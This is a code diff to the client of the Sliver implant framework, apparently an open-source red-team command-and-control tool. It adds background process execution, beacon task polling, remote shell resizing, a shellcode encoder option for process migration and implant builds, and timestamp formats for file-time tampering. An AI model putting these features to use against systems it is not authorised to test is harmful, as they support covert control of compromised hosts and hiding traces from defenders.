+		taskID := upload.Response.TaskID
+		upload = &sliverpb.Upload{}
+		err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
+	}
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		return err
+	}
+	filesystem.PrintUpload(upload, con)
+	return nil
+}
+
+func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
+	task, err := waitForBeaconTask(ctx, con, taskID)
+	if err != nil {
+		return err
+	}
+	state := strings.ToLower(task.State)
+	if state != "completed" {
+		if state == "" {
+			state = "unknown"
+		}
+		return fmt.Errorf("beacon task %s %s", task.ID, state)
+	}
+	if len(task.Response) == 0 {
+		return fmt.Errorf("beacon task %s returned empty response", task.ID)
+	}
+	return proto.Unmarshal(task.Response, out)
+}
+
+func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
+	ticker := time.NewTicker(beaconPollInterval)
+	defer ticker.Stop()
+
+	for {
+		task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
+		if err != nil {
+			return nil, err
+		}
+		state := strings.ToLower(task.State)
+		if state == "completed" || state == "failed" || state == "canceled" {
+			return task, nil
+		}
+		select {
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		case <-ticker.C:
+		}
+	}
+}
+
+func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
+	syntaxName, _ := cmd.Flags().GetString("syntax")
+	selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
+
+	syntaxName = strings.TrimSpace(syntaxName)
+	if strings.EqualFold(syntaxName, "auto") {
+		syntaxName = ""
+	}
+
+	if syntaxName != "" {
+		if strings.EqualFold(syntaxName, "none") {
+			return nil, "none", nil
+		}
+		lexer := lexers.Get(syntaxName)
+		if lexer == nil {
+			return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
+		}
+		name := lexer.Config().Name
+		if name == "" {
+			name = syntaxName
+		}
+		return lexer, name, nil
+	}
+
+	if selectSyntax {
+		options := syntaxOptions()
+		selection := "auto"
+		if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
+			if errors.Is(err, forms.ErrUserAborted) {
+				return detectSyntax(path, content)
+			}
+			return nil, "", err
+		}
+		if strings.EqualFold(selection, "none") {
+			return nil, "none", nil
+		}
+		if strings.EqualFold(selection, "auto") {
+			return detectSyntax(path, content)
+		}
+		lexer := lexers.Get(selection)
+		if lexer == nil {
+			return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
+		}
+		name := lexer.Config().Name
+		if name == "" {
+			name = selection
+		}
+		return lexer, name, nil
+	}
+
+	return detectSyntax(path, content)
+}
+
+func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
+	lexer := lexers.Match(path)
+	if lexer == nil {
+		lexer = lexers.Analyse(content)
+	}
+	if lexer == nil {
+		lexer = lexers.Fallback
+	}
+	name := lexer.Config().Name
+	if name == "" {
+		name = "auto"
+	}
+	return lexer, name, nil
+}
+
+func syntaxOptions() []string {
+	names := lexers.Names(true)
+	sort.Strings(names)
+	options := make([]string, 0, len(names)+2)
+	options = append(options, "auto", "none")
+	options = append(options, names...)
+	return options
+}
+
+func confirm(title string) (bool, error) {
+	answer := false
+	if err := forms.Confirm(title, &answer); err != nil {
+		if errors.Is(err, forms.ErrUserAborted) {
+			return false, nil
+		}
+		return false, err
+	}
+	return answer, nil
+}
+
+func detectLineEnding(data []byte) string {
+	if strings.Contains(string(data), "\r\n") {
+		return "\r\n"
+	}
+	return "\n"
+}
+
+func normalizeLineEndings(data []byte) string {
+	content := strings.ReplaceAll(string(data), "\r\n", "\n")
+	content = strings.ReplaceAll(content, "\r", "\n")
+	return content
+}
+
+func applyLineEnding(content, lineEnding string) []byte {
+	if lineEnding == "\r\n" {
+		content = strings.ReplaceAll(content, "\n", "\r\n")
+	}
+	return []byte(content)
+}
+
+func isText(sample []byte) bool {
+	const max = 1024
+	if len(sample) > max {
+		sample = sample[:max]
+	}
+	for i, c := range string(sample) {
+		if i+utf8.UTFMax > len(sample) {
+			break
+		}
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
+			return false
+		}
+	}
+	return true
+}

client/command/exec/commands.go

@@ -4,6 +4,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/flags"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/rsteube/carapace"
@@ -26,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
 		f.BoolP("token", "T", false, "execute command with current token (Windows only)")
 		f.BoolP("output", "o", true, "capture command output")
+		f.Bool("background", false, "start the process in the background and track it")
 		f.BoolP("save", "s", false, "save output to a file")
 		f.BoolP("loot", "X", false, "save output as loot")
 		f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
@@ -44,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
 	carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
 
+	executeChildrenCmd := &cobra.Command{
+		Use:   consts.ExecuteChildrenStr,
+		Short: "List tracked background execute child processes",
+		Long:  help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
+		Args:  cobra.NoArgs,
+		Run: func(cmd *cobra.Command, args []string) {
+			ExecuteChildrenCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	executeCmd.AddCommand(executeChildrenCmd)
+
 	executeAssemblyCmd := &cobra.Command{
 		Use:   consts.ExecuteAssemblyStr,
 		Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
@@ -171,11 +187,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
 	}
 	flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
-		f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.Uint32P("pid", "p", 0, "process id to migrate into")
 		f.StringP("process-name", "n", "", "name of the process to migrate into")
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
 	})
+	flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
+	})
 	carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
 
 	msfCmd := &cobra.Command{

client/command/exec/execute-children.go

@@ -0,0 +1,106 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+)
+
+// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
+func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Querying execute children ...", ctrl)
+	execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
+		Request: con.ActiveTarget.Request(cmd),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if execChildren.Response != nil && execChildren.Response.Async {
+		con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execChildren)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteChildren(execChildren, con)
+		})
+		con.PrintAsyncResponse(execChildren.Response)
+		return
+	}
+
+	PrintExecuteChildren(execChildren, con)
+}
+
+// PrintExecuteChildren - Render execute children output.
+func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
+	if execChildren == nil || len(execChildren.Children) == 0 {
+		con.PrintInfof("No tracked background execute children\n")
+		return
+	}
+
+	children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
+	sort.Slice(children, func(i, j int) bool {
+		return children[i].StartTime < children[j].StartTime
+	})
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
+
+	for _, child := range children {
+		state := "running"
+		exitCode := "-"
+		if child.Exited {
+			state = "exited"
+			exitCode = fmt.Sprintf("%d", child.ExitCode)
+		}
+
+		started := "-"
+		if child.StartTime != 0 {
+			started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
+		}
+
+		command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
+		tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
+	}
+
+	con.Printf("%s\n", tw.Render())
+}

client/command/exec/execute-shellcode.go

@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 
 	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
+	var rows uint32
+	var cols uint32
+	if !noPty {
+		colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
+		if err != nil || rowsInt <= 0 || colsInt <= 0 {
+			colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
+		}
+		if err == nil && rowsInt > 0 && colsInt > 0 {
+			rows = uint32(rowsInt)
+			cols = uint32(colsInt)
+		}
+	}
+
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(cmd),
 		Path:      hostProc,
 		EnablePTY: !noPty,
+		Rows:      rows,
+		Cols:      cols,
 		TunnelID:  tunnel.ID,
 	})
 	if err != nil {
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 		}
 	}
 
+	stopPtyResize := func() {}
+	if !noPty {
+		stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
+	}
+	defer stopPtyResize()
+
 	log.Printf("Starting stdin/stdout shell ...")
 	go func() {
 		n, err := io.Copy(os.Stdout, tunnel)

client/command/exec/execute.go

@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	token, _ := cmd.Flags().GetBool("token")
 	hidden, _ := cmd.Flags().GetBool("hidden")
 	output, _ := cmd.Flags().GetBool("output")
+	background, _ := cmd.Flags().GetBool("background")
 	stdout, _ := cmd.Flags().GetString("stdout")
 	stderr, _ := cmd.Flags().GetString("stderr")
 	saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	}
 	hostName := getHostname(session, beacon)
 
-	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
-	captureOutput := output || saveLoot || saveOutput
+	if background && (saveLoot || saveOutput) {
+		con.PrintErrorf("The loot and save options are not supported with --background\n")
+		return
+	}
 
-	if output && beacon != nil {
+	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
+	captureOutput := !background && (output || saveLoot || saveOutput)
+
+	if captureOutput && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
 	}
 
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 			Path:       cmdPath,
 			Args:       args,
 			Output:     captureOutput,
+			Background: background,
 			Stderr:     stderr,
 			Stdout:     stdout,
 			UseToken:   token,
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 			Path:           cmdPath,
 			Args:           args,
 			Output:         captureOutput,
+			Background:     background,
 			Stderr:         stderr,
 			Stdout:         stdout,
 			EnvInheritance: envInheritance,
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
 	stderr, _ := cmd.Flags().GetString("stderr")
 
 	output, _ := cmd.Flags().GetBool("output")
+	background := false
+	if cmd.Flags().Lookup("background") != nil {
+		background, _ = cmd.Flags().GetBool("background")
+	}
+	if background {
+		// Background execution never returns inline output.
+		output = false
+	}
 	if !output {
-		if exec.Status == 0 {
-			con.PrintInfof("Command executed successfully\n")
+		if exec.Pid != 0 {
+			if background {
+				con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
+				return
+			}
+			con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
 		} else {
-			con.PrintErrorf("Exit code %d\n", exec.Status)
+			con.PrintInfof("Process started\n")
 		}
 		return
 	}

client/command/exec/migrate.go

@@ -20,14 +20,19 @@ package exec
 
 import (
 	"context"
+	"errors"
 	"fmt"
+	"sort"
+	"strings"
 
 	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/forms"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 )
 
 // MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		implantName = beacon.Name
 	}
 
-	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
-		encoder = clientpb.ShellcodeEncoder_NONE
+	targetArch := config.GetGOARCH()
+	if session != nil && session.Arch != "" {
+		targetArch = session.Arch
+	} else if beacon != nil && beacon.Arch != "" {
+		targetArch = beacon.Arch
+	}
+
+	encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
 	}
 
 	ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
 	}
 }
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	if con == nil || con.Rpc == nil {
+		return nil, errors.New("no RPC client")
+	}
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
+	if encoderMap == nil {
+		return nil
+	}
+	arch = normalizeShellcodeArch(arch)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return nil
+	}
+
+	names := make([]string, 0, len(archMap.GetEncoders()))
+	for name := range archMap.GetEncoders() {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
+	if encoderMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	arch = normalizeShellcodeArch(arch)
+	name = normalizeShellcodeEncoderName(name)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	encoder, ok := archMap.GetEncoders()[name]
+	return encoder, ok
+}
+
+func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
+	rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+	rawEncoder = strings.TrimSpace(rawEncoder)
+
+	if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
+	}
+
+	normalized := normalizeShellcodeEncoderName(rawEncoder)
+	if normalized == "none" {
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	encoderMap, err := fetchShellcodeEncoderMap(con)
+	if err != nil {
+		return clientpb.ShellcodeEncoder_NONE, err
+	}
+
+	// If no encoder specified, prompt for a compatible encoder (or none).
+	if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			// No known compatible encoders for this arch.
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		options := append([]string{"none"}, compatible...)
+		choice := "none"
+		if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
+			return clientpb.ShellcodeEncoder_NONE, err
+		}
+		if normalizeShellcodeEncoderName(choice) == "none" {
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
+		if !ok {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
+		}
+		return encoder, nil
+	}
+
+	// Encoder explicitly specified by name.
+	encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
+	if !ok {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
+		}
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
+	}
+	return encoder, nil
+}

client/command/exec/resize_unix.go

@@ -0,0 +1,97 @@
+//go:build !windows
+
+package exec
+
+import (
+	"context"
+	"os"
+	"os/signal"
+	"sync"
+	"syscall"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	sigCh := make(chan os.Signal, 1)
+	signal.Notify(sigCh, syscall.SIGWINCH)
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-sigCh:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			signal.Stop(sigCh)
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/exec/resize_windows.go

@@ -0,0 +1,93 @@
+//go:build windows
+
+package exec
+
+import (
+	"context"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+	"google.golang.org/grpc/codes"
+	"google.golang.org/grpc/status"
+	"os"
+	"sync"
+	"time"
+)
+
+func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
+	if con == nil || con.Rpc == nil {
+		return func() {}
+	}
+
+	stdoutFd := int(os.Stdout.Fd())
+	stdinFd := int(os.Stdin.Fd())
+	if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
+		return func() {}
+	}
+
+	stopCh := make(chan struct{})
+	doneCh := make(chan struct{})
+
+	go func() {
+		defer close(doneCh)
+
+		ticker := time.NewTicker(250 * time.Millisecond)
+		defer ticker.Stop()
+
+		lastCols, lastRows := -1, -1
+		send := func() bool {
+			cols, rows, err := term.GetSize(stdoutFd)
+			if err != nil || cols <= 0 || rows <= 0 {
+				cols, rows, err = term.GetSize(stdinFd)
+			}
+			if err != nil || cols <= 0 || rows <= 0 {
+				return true
+			}
+			if cols == lastCols && rows == lastRows {
+				return true
+			}
+			lastCols, lastRows = cols, rows
+
+			req := con.ActiveTarget.Request(cmd)
+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-ticker.C:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/filesystem/chtimes.go

@@ -19,6 +19,8 @@ package filesystem
 
 import (
 	"context"
+	"fmt"
+	"strconv"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+const chtimesDefaultLayout = "2006-01-02 15:04:05"
+
+type chtimesTimeFormat struct {
+	name  string
+	parse func(string) (int64, error)
+}
+
+func chtimesParseUnixSeconds(value string) (int64, error) {
+	parsed, err := strconv.ParseInt(value, 10, 64)
+	if err != nil {
+		return 0, err
+	}
+	return parsed, nil
+}
+
+func chtimesParseUnixMillis(value string) (int64, error) {
+	parsed, err := strconv.ParseInt(value, 10, 64)
+	if err != nil {
+		return 0, err
+	}
+	return time.UnixMilli(parsed).Unix(), nil
+}
+
+func chtimesParseLayout(layout string) func(string) (int64, error) {
+	return func(value string) (int64, error) {
+		parsed, err := time.Parse(layout, value)
+		if err != nil {
+			return 0, err
+		}
+		return parsed.Unix(), nil
+	}
+}
+
+func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
+	formatFlags := []struct {
+		flag   string
+		format chtimesTimeFormat
+	}{
+		{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
+		{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
+		{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
+		{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
+	}
+
+	var selected *chtimesTimeFormat
+	selectedFlag := ""
+	for _, candidate := range formatFlags {
+		enabled, _ := cmd.Flags().GetBool(candidate.flag)
+		if !enabled {
+			continue
+		}
+		if selected != nil {
+			return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
+		}
+		selected = &candidate.format
+		selectedFlag = candidate.flag
+	}
+
+	if selected == nil {
+		return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
+	}
+
+	return *selected, nil
+}
+
 // ChtimesCmd - Change the access and modified time of a file on the remote file system.
 func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-	// DateTime layout (https://pkg.go.dev/time)
-	layout := "2006-01-02 15:04:05"
 	filePath := args[0]
 
 	if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		return
 	}
 
-	atime := args[1]
+	format, err := chtimesFormatFromFlags(cmd)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 
+	atime := args[1]
 	if atime == "" {
 		con.PrintErrorf("Missing parameter: Last accessed time id\n")
 		return
 	}
 
-	t_a, err := time.Parse(layout, atime)
+	unixAtime, err := format.parse(atime)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
 		return
 	}
-	unixAtime := t_a.Unix()
 
 	mtime := args[2]
-
 	if mtime == "" {
 		con.PrintErrorf("Missing parameter: Last modified time id\n")
 		return
 	}
 
-	t_b, err := time.Parse(layout, mtime)
+	unixMtime, err := format.parse(mtime)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
 		return
 	}
-	unixMtime := t_b.Unix()
 
 	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
 		Request: con.ActiveTarget.Request(cmd),

client/command/generate/commands.go

@@ -3,6 +3,7 @@ package generate
 import (
 	"github.com/bishopfox/sliver/client/command/flags"
 	"github.com/bishopfox/sliver/client/command/help"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
 		f.StringP("save", "s", "", "directory/file to the binary to")
-		f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.StringP("name", "n", "", "Implant name")
 
 	})
 	flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
 		(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
 	})
 	carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
 	profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.StringP("debug-file", "O", "", "path to debug output")
 		f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
 		f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
-		f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
 		f.StringP("canary", "c", "", "canary domain(s)")
 
@@ -341,7 +343,46 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
 		f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
 
-		f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
